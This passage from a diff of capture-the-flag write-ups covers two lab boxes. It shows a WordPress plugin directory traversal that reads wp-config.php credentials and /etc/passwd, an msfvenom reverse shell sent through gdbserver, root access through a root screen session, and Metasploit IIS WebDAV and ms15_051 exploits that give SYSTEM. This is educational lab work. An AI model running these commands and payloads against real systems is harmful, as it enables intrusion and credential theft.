4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA) + | 256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA) + |_ 256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519) + 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) + |_http-server-header: Apache/2.4.41 (Ubuntu) + |_http-title: Backdoor - Real-Life + |_http-generator: WordPress 5.8.1 + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor] + → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://backdoor.htb + =============================================================== + Gobuster v3.3 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://backdoor.htb + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.3 + [+] Timeout: 10s + =============================================================== + 2022/11/20 20:12:34 Starting gobuster in directory enumeration mode + =============================================================== + /wp-content (Status: 301) [Size: 317] [--> http://backdoor.htb/wp-content/] + /wp-includes (Status: 301) [Size: 318] [--> http://backdoor.htb/wp-includes/] + /wp-admin (Status: 301) [Size: 315] [--> http://backdoor.htb/wp-admin/] + Progress: 50259 / 220561 (22.79%)^C + [!] Keyboard interrupt detected, terminating. + =============================================================== + 2022/11/20 20:13:26 Finished + =============================================================== + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor] + → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://backdoor.htb/wp-content/ + =============================================================== + Gobuster v3.3 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://backdoor.htb/wp-content/ + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.3 + [+] Timeout: 10s + =============================================================== + 2022/11/20 20:13:30 Starting gobuster in directory enumeration mode + =============================================================== + /themes (Status: 301) [Size: 324] [--> http://backdoor.htb/wp-content/themes/] + /uploads (Status: 301) [Size: 325] [--> http://backdoor.htb/wp-content/uploads/] + /plugins (Status: 301) [Size: 325] [--> http://backdoor.htb/wp-content/plugins/] + /upgrade (Status: 301) [Size: 325] [--> http://backdoor.htb/wp-content/upgrade/] + Progress: 3928 / 220561 (1.78%)^C + [!] Keyboard interrupt detected, terminating. + =============================================================== + 2022/11/20 20:13:33 Finished + =============================================================== + + + +` ![](prg/69_001.png) + +So thanks to Gobuster we found the /wp-content/plugins/ebook-download/ subdirectory: + +![](prg/69_002.png) + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor] + → searchsploit ebook plugin + ----------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- + Exploit Title | Path + ----------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- + Facebook Profile MyBB Plugin 2.4 - Persistent Cross-Site Scripting | php/webapps/23355.txt + WordPress Plugin eBook Download 1.1 - Directory Traversal | php/webapps/39575.txt + WordPress Plugin Facebook Opengraph Meta 1.0 - SQL Injection | php/webapps/17773.txt + WordPress Plugin Facebook Promotions 1.3.3 - SQL Injection | php/webapps/17737.txt + WordPress Plugin Facebook Survey 1.0 - SQL Injection | php/webapps/22853.txt + WordPress Plugin flash-album-gallery - 'facebook.php' Cross-Site Scripting | php/webapps/36383.txt + WordPress Plugin Nextend Facebook Connect 1.4.59 - Cross-Site Scripting | php/webapps/35439.txt + WordPress Plugin Spider Facebook - 'facebook.php' SQL Injection | php/webapps/39300.txt + ----------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- + Shellcodes: No Results + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor] + → cat $(locate 39575.txt) + # Exploit Title: Wordpress eBook Download 1.1 | Directory Traversal + # Exploit Author: Wadeek + # Website Author: https://github.com/Wad-Deek + # Software Link: https://downloads.wordpress.org/plugin/ebook-download.zip + # Version: 1.1 + # Tested on: Xampp on Windows7 + + [Version Disclosure] + ====================================== + http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt + ====================================== + + [PoC] + ====================================== + /wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php + ======================================% + + + +Apparently there is a Directory traversal vulnerability, so let's test it out: + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor] + → wget http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php\?ebookdownloadurl\=../../../wp-config.php -O wp-config.php + --2022-11-20 20:35:12-- http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php + Resolving backdoor.htb (backdoor.htb)... 10.129.96.68 + Connecting to backdoor.htb (backdoor.htb)|10.129.96.68|:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 3866 (3.8K) [application/octet-stream] + Saving to: ‘wp-config.php’ + + wp-config.php 100%[=========================================================================================================>] 3.78K --.-KB/s in 0.03s + + 2022-11-20 20:35:12 (126 KB/s) - ‘wp-config.php’ saved [3866/3866] + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor] + → cat wp-config.php + ../../../wp-config.php../../../wp-config.php../../../wp-config.php<****?php + /** + * The base configuration for WordPress + * + * The wp-config.php creation script uses this file during the installation. + * You don't have to use the web site, you can copy this file to "wp-config.php" + * and fill in the values. + * + * This file contains the following configurations: + * + * * MySQL settings + * * Secret keys + * * Database table prefix + * * ABSPATH + * + * @link https://wordpress.org/support/article/editing-wp-config-php/ + * + * @package WordPress + */ + + // ** MySQL settings - You can get this info from your web host ** // + /** The name of the database for WordPress */ + define( 'DB_NAME', 'wordpress' ); + + /** MySQL database username */ + define( 'DB_USER', 'wordpressuser' ); + + /** MySQL database password */ + define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' ); + + [...] + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor] + → curl http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php\?ebookdownloadurl\=../../../../../../etc/passwd + ../../../../../../etc/passwd../../../../../../etc/passwd../../../../../../etc/passwdroot:x:0:0:root:/root:/bin/bash + daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin + bin:x:2:2:bin:/bin:/usr/sbin/nologin + sys:x:3:3:sys:/dev:/usr/sbin/nologin + sync:x:4:65534:sync:/bin:/bin/sync + games:x:5:60:games:/usr/games:/usr/sbin/nologin + man:x:6:12:man:/var/cache/man:/usr/sbin/nologin + lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin + mail:x:8:8:mail:/var/mail:/usr/sbin/nologin + news:x:9:9:news:/var/spool/news:/usr/sbin/nologin + uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin + proxy:x:13:13:proxy:/bin:/usr/sbin/nologin + www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin + backup:x:34:34:backup:/var/backups:/usr/sbin/nologin + list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin + irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin + gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin + nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin + systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin + systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin + systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin + messagebus:x:103:106::/nonexistent:/usr/sbin/nologin + syslog:x:104:110::/home/syslog:/usr/sbin/nologin + _apt:x:105:65534::/nonexistent:/usr/sbin/nologin + tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false + uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin + tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin + landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin + pollinate:x:110:1::/var/cache/pollinate:/bin/false + usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin + sshd:x:112:65534::/run/sshd:/usr/sbin/nologin + systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin + user:x:1000:1000:user:/home/user:/bin/bash + lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false + mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false + +So here we have credentials: **wordpressuser:MQYBJSaD#DxG6qbm** and we also have the list of users with the passwd file. + + + [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor] + → for i in `seq 620 1000`; do curl --output - http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php\?ebookdownloadurl\=/proc/$i/cmdline ; echo ; done + + + +Let it run, and eventually you'll find the gdbserver process running on port 1337: + + + [ 10.10.14.37/23 ] [ /dev/pts/13 ] [~] + → nmap -sCV backdoor.htb -p1337 + Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-30 09:41 CET + Nmap scan report for backdoor.htb (10.129.96.68) + Host is up (0.094s latency). + + PORT STATE SERVICE VERSION + 1337/tcp open waste? + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 107.13 seconds + + + +So to exploit gdbserver, we follow this page on [hacktricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-remote-gdbserver): + + + [ 10.10.14.37/23 ] [ /dev/pts/13 ] [~] + → msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.37 LPORT=8001 PrependFork=true -f elf -o rev.elf + [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload + [-] No arch selected, selecting arch: x64 from the payload + No encoder specified, outputting raw payload + Payload size: 106 bytes + Final size of elf file: 226 bytes + Saved as: rev.elf + + + +Then locally, we debug it: + + + [term1] + [ 10.10.14.37/23 ] [ /dev/pts/16 ] [~] + → nc -lvnp 8001 + listening on [any] 8001 ... + + [term2] + [ 10.10.14.37/23 ] [ /dev/pts/13 ] [~] + → gdb -q rev.elf + Reading symbols from rev.elf... + (No debugging symbols found in rev.elf) + (gdb) target extended-remote 10.129.96.68 + 10.129.96.68: No such file or directory. + (gdb) **target extended-remote 10.129.96.68:1337** + Remote debugging using 10.129.96.68:1337 + Reading /lib64/ld-linux-x86-64.so.2 from remote target... + warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead. + Reading /lib64/ld-linux-x86-64.so.2 from remote target... + Reading symbols from target:/lib64/ld-linux-x86-64.so.2... + Reading /usr/lib/debug/.build-id/53/74b5558386b815e69cc1838a6052cc9b4746f3.debug from remote target... + Reading /lib64/ld-2.31.so from remote target... + Reading /lib64/.debug/ld-2.31.so from remote target... + Reading /usr/lib/debug//lib64/ld-2.31.so from remote target... + Reading /usr/lib/debug/lib64//ld-2.31.so from remote target... + Reading target:/usr/lib/debug/lib64//ld-2.31.so from remote target... + (No debugging symbols found in target:/lib64/ld-linux-x86-64.so.2) + Reading /usr/lib/debug/.build-id/42/86d016f71e32db3a4f7221c847c3d1e13d6bd4.debug from remote target... + 0x00007ffff7fd0100 in ?? () from target:/lib64/ld-linux-x86-64.so.2 + + (gdb) **remote put rev.elf /dev/shm/nihilist** + Successfully sent file "rev.elf". + + (gdb) **run** + The program being debugged has been started already. + Start it from the beginning? (y or n) y + Starting program: + Reading /dev/shm/nihilist from remote target... + Reading /dev/shm/nihilist from remote target... + Reading symbols from target:/dev/shm/nihilist... + (No debugging symbols found in target:/dev/shm/nihilist) + Reading /usr/lib/debug/.build-id/42/86d016f71e32db3a4f7221c847c3d1e13d6bd4.debug from remote target... + [Detaching after fork from child process 7213] + [Inferior 1 (process 7204) exited normally] + (gdb) + + [term1] + [ 10.10.14.37/23 ] [ /dev/pts/16 ] [~] + → nc -lvnp 8001 + listening on [any] 8001 ... + connect to [10.10.14.37] from (UNKNOWN) [10.129.96.68] 49544 + id + uid=1000(user) gid=1000(user) groups=1000(user) + + + +And we got the reverse shell! Now let's upgrade it to a fully interactive TTY: + + + python3 -c 'import pty; pty.spawn("/bin/bash")' + user@Backdoor:/home/user$ ^Z + [1] + 216968 suspended nc -lvnp 8001 + + [ 10.10.14.37/23 ] [ /dev/pts/16 ] [~] + → stty raw -echo ; fg + [1] + 216968 continued nc -lvnp 8001 + export TERM=screen-256color + user@Backdoor:/home/user$ export SHELL=bash + user@Backdoor:/home/user$ stty rows 50 cols 200 + user@Backdoor:/home/user$ reset + + + +Now that we have a fully interactive reverse shell, let's print the user flag: + + + user@Backdoor:/home/user$ cat user.txt + 3fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And we have the user flag! + +## **Part 3 : Getting Root Access** + +Now in order to enumerate privesc paths, we run linpeas.sh : + + + [term1] + [ 10.10.14.37/23 ] [ /dev/pts/15 ] [~/HTB/Backdoor] + → ls + linpeas.sh + + [ 10.10.14.37/23 ] [ /dev/pts/15 ] [~/HTB/Backdoor] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [term2] + user@Backdoor:/home/user$ wget http://10.10.14.37:9090/linpeas.sh -O /tmp/peas.sh + --2022-11-30 10:11:59-- http://10.10.14.37:9090/linpeas.sh + Connecting to 10.10.14.37:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 827827 (808K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[===================>] 808.42K 266KB/s in 3.0s + + 2022-11-30 10:12:03 (266 KB/s) - ‘/tmp/peas.sh’ saved [827827/827827] + + user@Backdoor:/home/user$ chmod +x /tmp/peas.sh + user@Backdoor:/home/user$ /tmp/peas.sh + + + + +Let it run, then in the output we see more info regarding gdbserver, but we can also see it with the ps command: + + + user@Backdoor:/home/user$ ps auxww | grep gdb + root 945 0.0 0.0 2608 1796 ? Ss 08:39 0:00 /bin/sh -c while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done + root 14328 0.0 0.1 8404 3880 ? S 10:06 0:00 su user -c cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true; + user 14332 0.0 0.1 6892 3316 ? Ss 10:06 0:00 bash -c cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true; + user 14336 0.0 0.2 11844 4160 ? S 10:06 0:00 gdbserver --once 0.0.0.0:1337 /bin/true + user 31115 0.0 0.0 6632 732 pts/2 S+ 10:16 0:00 grep --color=auto gdb + + user@Backdoor:/home/user$ ps auxww | grep true + root 945 0.0 0.0 2608 1796 ? Ss 08:39 0:00 /bin/sh -c while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done + root 950 0.0 0.0 2608 1544 ? Ss 08:39 0:02 /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done + root 14328 0.0 0.1 8404 3880 ? S 10:06 0:00 su user -c cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true; + user 14332 0.0 0.1 6892 3316 ? Ss 10:06 0:00 bash -c cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true; + user 14336 0.0 0.2 11844 4160 ? S 10:06 0:00 gdbserver --once 0.0.0.0:1337 /bin/true + user 31338 0.0 0.0 6632 732 pts/2 S+ 10:17 0:00 grep --color=auto true + + + +When looking at the processes, we see that there is also a script running **screen** as the root user, so let's enumerate it: + + + user@Backdoor:/home/user$ screen -ls + No Sockets found in /run/screen/S-user. + + user@Backdoor:/home/user$ screen -ls root/ + There is a suitable screen on: + 995.root (11/30/22 08:39:42) (Multi, detached) + 1 Socket in /run/screen/S-root. + + + +Here we see the root user is running screen on the socket /root/screen/S-root, so we connect to it: + + + user@Backdoor:/home/user$ screen -x root/995 + root@Backdoor:~# id + uid=0(root) gid=0(root) groups=0(root) + root@Backdoor:~# cat root.txt + 2dXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/69_graph.png) + diff --git a/Easy/7.md b/Easy/7.md new file mode 100644 index 0000000..936c118 --- /dev/null +++ b/Easy/7.md @@ -0,0 +1,391 @@ +# Grandpa Writeup + +![](img/7.png) + +## Introduction : + +Grandpa was an Easy Windows box released back in april 2017. It features a well known service with alot of metasploit options for us to work with. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + **λ root [ 10.10.14.48/23 ] [/home/nihilist] → nmap -sC -sV 10.10.10.14** + Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-11 16:54 CET + Nmap scan report for 10.10.10.14 + Host is up (0.035s latency). + Not shown: 999 filtered ports + PORT STATE SERVICE VERSION + 80/tcp open http Microsoft IIS httpd 6.0 + | http-methods: + |_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH + | http-ntlm-info: + | Target_Name: GRANPA + | NetBIOS_Domain_Name: GRANPA + | NetBIOS_Computer_Name: GRANPA + | DNS_Domain_Name: granpa + | DNS_Computer_Name: granpa + |_ Product_Version: 5.2.3790 + |_http-server-header: Microsoft-IIS/6.0 + |_http-title: Under Construction + | http-webdav-scan: + | Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK + | Server Date: Mon, 11 Nov 2019 15:57:04 GMT + | Server Type: Microsoft-IIS/6.0 + | Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH + |_ WebDAV type: Unknown + Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 13.51 seconds + + +## **Part 2 : Getting User Access** + +Firt of all let's see if IIS 6.0 has any publicly-known vulnerabilities using the **searchsploit** command. + + + λ nihilist [ 93.23.12.196 ] [~] → searchsploit IIS 6.0 + --------------------------------------------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + --------------------------------------------------------------------------- ---------------------------------------- + Microsoft IIS 4.0/5.0/6.0 - Internal IP Address/Internal Network Name Disc | exploits/windows/remote/21057.txt + Microsoft IIS 5.0/6.0 FTP Server (Windows 2000) - Remote Stack Overflow | exploits/windows/remote/9541.pl + Microsoft IIS 5.0/6.0 FTP Server - Stack Exhaustion Denial of Service | exploits/windows/dos/9587.txt + Microsoft IIS 6.0 - '/AUX / '.aspx' Remote Denial of Service | exploits/windows/dos/3965.pl + Microsoft IIS 6.0 - ASP Stack Overflow Stack Exhaustion (Denial of Service | exploits/windows/dos/15167.txt + Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow | exploits/windows/remote/41738.py + Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (1) | exploits/windows/remote/8704.txt + Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (2) | exploits/windows/remote/8806.pl + Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (PHP) | exploits/windows/remote/8765.php + Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (Patch) | exploits/windows/remote/8754.patch + Microsoft IIS 6.0/7.5 (+ PHP) - Multiple Vulnerabilities | exploits/windows/remote/19033.txt + --------------------------------------------------------------------------- ---------------------------------------- + Shellcodes: No Result + + + +For the first part we will try the exploit named "scstoragepathfromurl" which should give us a low privilege meterpreter session on the machine. + + + msf5 > use exploit/windows/iis/iis_webdav_scstoragepathfromurl + msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > show options + + Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + MAXPATHLENGTH 60 yes End of physical path brute force + MINPATHLENGTH 3 yes Start of physical path brute force + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes Path of IIS 6 web application + VHOST no HTTP server virtual host + + + Exploit target: + + Id Name + -- ---- + 0 Microsoft Windows Server 2003 R2 SP2 x86 + + + msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set RHOST 10.10.10.14 + RHOST => 10.10.10.14 + msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > check + [+] 10.10.10.14:80 - The target is vulnerable. + + +By typing the msf keyword **"Check"** We see that metasploit tells us that the target should be vulnerable to the iis webdav scs storagepath fromurl vulnerability. Let's test it. + + + msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > exploit + + [*] Started reverse TCP handler on 10.10.14.48:4444 + [*] Trying path length 3 to 60 ... + [*] Sending stage (180291 bytes) to 10.10.10.14 + [*] Meterpreter session 1 opened (10.10.14.48:4444 -> 10.10.10.14:1030) at 2019-11-11 16:56:26 +0100 + + meterpreter > sysinfo + Computer : GRANPA + OS : Windows .NET Server (5.2 Build 3790, Service Pack 2). + Architecture : x86 + System Language : en_US + Domain : HTB + Logged On Users : 2 + Meterpreter : x86/windows + meterpreter > + + + + meterpreter > shell + [-] Failed to spawn shell with thread impersonation. Retrying without it. + Process 2820 created. + Channel 2 created. + Microsoft Windows [Version 5.2.3790] + (C) Copyright 1985-2003 Microsoft Corp. + + c:\windows\system32\inetsrv>cd ../../.. + cd ../../.. + + C:\>dir + dir + Volume in drive C has no label. + Volume Serial Number is 246C-D7FE + + Directory of C:\ + + 04/12/2017 04:27 PM **IR> ADFS + 04/12/2017 04:04 PM 0 AUTOEXEC.BAT + 04/12/2017 04:04 PM 0 CONFIG.SYS + 04/12/2017 04:32 PM **IR> Documents and Settings + 04/12/2017 04:17 PM **IR> FPSE_search + 04/12/2017 04:17 PM **IR> Inetpub + 12/24/2017 07:18 PM **IR> Program Files + 12/24/2017 07:27 PM **IR> WINDOWS + 04/12/2017 04:05 PM **IR> wmpub + 2 File(s) 0 bytes + 7 Dir(s) 18,127,511,552 bytes free + + C:\>cd Documents And Settings + cd Documents And Settings + + C:\Documents and Settings>cd Harry + cd Harry + Access is denied. + + C:\Documents and Settings>exit + meterpreter > + + +We now have a low-privileged meterpreter session, let's see what processes are running on this machine to see if we could migrate to it. + + + meterpreter > ps + + Process List + ============ + + PID PPID Name Arch Session User Path + --- ---- ---- ---- ------- ---- ---- + 0 0 [System Process] + 4 0 System + 272 4 smss.exe + 324 272 csrss.exe + 348 272 winlogon.exe + 396 348 services.exe + 408 348 lsass.exe + 616 396 svchost.exe + 680 396 svchost.exe + 740 396 svchost.exe + 768 396 svchost.exe + 804 396 svchost.exe + 940 396 spoolsv.exe + 968 396 msdtc.exe + 1080 396 cisvc.exe + 1124 396 svchost.exe + 1184 396 inetinfo.exe + 1220 396 svchost.exe + 1328 396 VGAuthService.exe + 1416 396 vmtoolsd.exe + 1464 396 svchost.exe + 1604 396 svchost.exe + 1716 396 alg.exe + 1796 396 dllhost.exe + **1824 616 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe** + 1920 396 dllhost.exe + 2024 1464 w3wp.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\windows\system32\inetsrv\w3wp.exe + 2124 616 davcdata.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\inetsrv\davcdata.exe + 2232 396 vssvc.exe + 2288 2024 rundll32.exe x86 0 C:\WINDOWS\system32\rundll32.exe + + meterpreter > migrate 1824 + [*] Migrating from 2288 to 1824... + + + + meterpreter > migrate 1824 + [*] Migrating from 2288 to 1824... + [-] Error running command migrate: Rex::TimeoutError Operation timed out. + meterpreter > exit + [*] Shutting down Meterpreter... + + [*] 10.10.10.14 - Meterpreter session 3 closed. Reason: User exit + msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > exploit + + [*] Started reverse TCP handler on 10.10.14.48:4444 + [*] Trying path length 3 to 60 ... + [*] Sending stage (180291 bytes) to 10.10.10.14 + [*] Meterpreter session 4 opened (10.10.14.48:4444 -> 10.10.10.14:1032) at 2019-11-11 17:11:01 +0100 + [*] Sending stage (180291 bytes) to 10.10.10.14 + [*] Meterpreter session 5 opened (10.10.14.48:4444 -> 10.10.10.14:1031) at 2019-11-11 17:11:08 +0100 + + meterpreter > shell + Process 2996 created. + Channel 1 created. + Microsoft Windows [Version 5.2.3790] + (C) Copyright 1985-2003 Microsoft Corp. + + C:\WINDOWS\system32>whoami + whoami + nt authority\network service + + C:\WINDOWS\system32> + + +We seem to have elevated a few privileges, but that's not enough as you can see below. + + + C:\WINDOWS\system32>cd ../.. + cd ../.. + + C:\>cd Documents and Settings + cd Documents and Settings + + C:\Documents and Settings>cd Harry + cd Harry + Access is denied. + + C:\Documents and Settings>cd Administrator + cd Administrator + Access is denied. + + C:\Documents and Settings>exit + exit + + +Let's see if we can effectively privesc on this machine. We will run the local exploit suggester on our meterpreter session. + + + meterpreter > run post/multi/recon/local_exploit_suggester + + [*] 10.10.10.14 - Collecting local exploits for x86/windows... + [*] 10.10.10.14 - 29 exploit checks are being tried... + [+] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated. + [+] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. + [+] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable. + + [+] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. + + [+] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The target service is running, but could not be validated. + [+] 10.10.10.14 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated. + [+] 10.10.10.14 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable. + [+] 10.10.10.14 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable. + [+] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. + + +We have got plenty of exploits to try ! Let's find out which will give us an elevated privilege meterpreter session. + +## **Part 3 : The Root Access** + +After a couple of failed attempts at finding the correct local exploit for grandpa, i finally tried the exploit **ms15_051_client_copy_image**. It is an exploit which takes advantage of Windows Kernel-Mode Drivers's vulnerabilities, which should effectively give us an elevation of privilege for our meterpreter session. + + + meterpreter > background + [*] Backgrounding session 5... + msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use exploit/windows/local/ms15_051_client_copy_image + msf5 exploit(windows/local/ms15_051_client_copy_image) > show options + + Module options (exploit/windows/local/ms15_051_client_copy_image): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION yes The session to run this module on. + + + Exploit target: + + Id Name + -- ---- + 0 Windows x86 + + + msf5 exploit(windows/local/ms15_051_client_copy_image) > set SESSION 5 + SESSION => 5 + msf5 exploit(windows/local/ms15_051_client_copy_image) > set PAYLOAD windows/meterpreter/reverse_tcp + PAYLOAD => windows/meterpreter/reverse_tcp + msf5 exploit(windows/local/ms15_051_client_copy_image) > set LHOST 10.10.14.48 + LHOST => 10.10.14.48 + + +We use the aforementionned exploit and set the payload to **windows/meterpreter/reverse_tcp** with the correct LHOST parameter for the elevated privilege meterpreter to connect back to our host machine. Let's run it to see if we can effectively privesc this machine. + + + msf5 exploit(windows/local/ms15_051_client_copy_image) > run + + [*] Started reverse TCP handler on 10.10.14.48:4444 + [*] Launching notepad to host the exploit... + [+] Process 3496 launched. + [*] Reflectively injecting the exploit DLL into 3496... + [*] Injecting exploit into 3496... + [*] Exploit injected. Injecting payload into 3496... + [*] Payload injected. Executing exploit... + [*] Sending stage (180291 bytes) to 10.10.10.14 + [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. + [*] Meterpreter session 6 opened (10.10.14.48:4444 -> 10.10.10.14:1035) at 2019-11-11 17:20:34 +0100 + + meterpreter > shell + Process 3652 created. + Channel 1 created. + Microsoft Windows [Version 5.2.3790] + (C) Copyright 1985-2003 Microsoft Corp. + + C:\WINDOWS\system32>whoami + whoami + nt authority\system + + C:\WINDOWS\system32>cd ../../.. + cd ../../.. + + C:\>dir + dir + Volume in drive C has no label. + Volume Serial Number is 246C-D7FE + + Directory of C:\ + + 04/12/2017 04:27 PM **IR> ADFS + 04/12/2017 04:04 PM 0 AUTOEXEC.BAT + 04/12/2017 04:04 PM 0 CONFIG.SYS + 04/12/2017 04:32 PM **IR> Documents and Settings + 04/12/2017 04:17 PM **IR> FPSE_search + 04/12/2017 04:17 PM **IR> Inetpub + 12/24/2017 07:18 PM **IR> Program Files + 12/24/2017 07:27 PM **IR> WINDOWS + 04/12/2017 04:05 PM **IR> wmpub + 2 File(s) 0 bytes + 7 Dir(s) 18,127,536,128 bytes free + + C:\>cd Documents and Settings + cd Documents and Settings + + C:\Documents and Settings>cd Harry + cd Harry + + C:\Documents and Settings\Harry>cd Desktop + cd Desktop + + C:\Documents and Settings\Harry\Desktop>more user.txt + more user.txt + 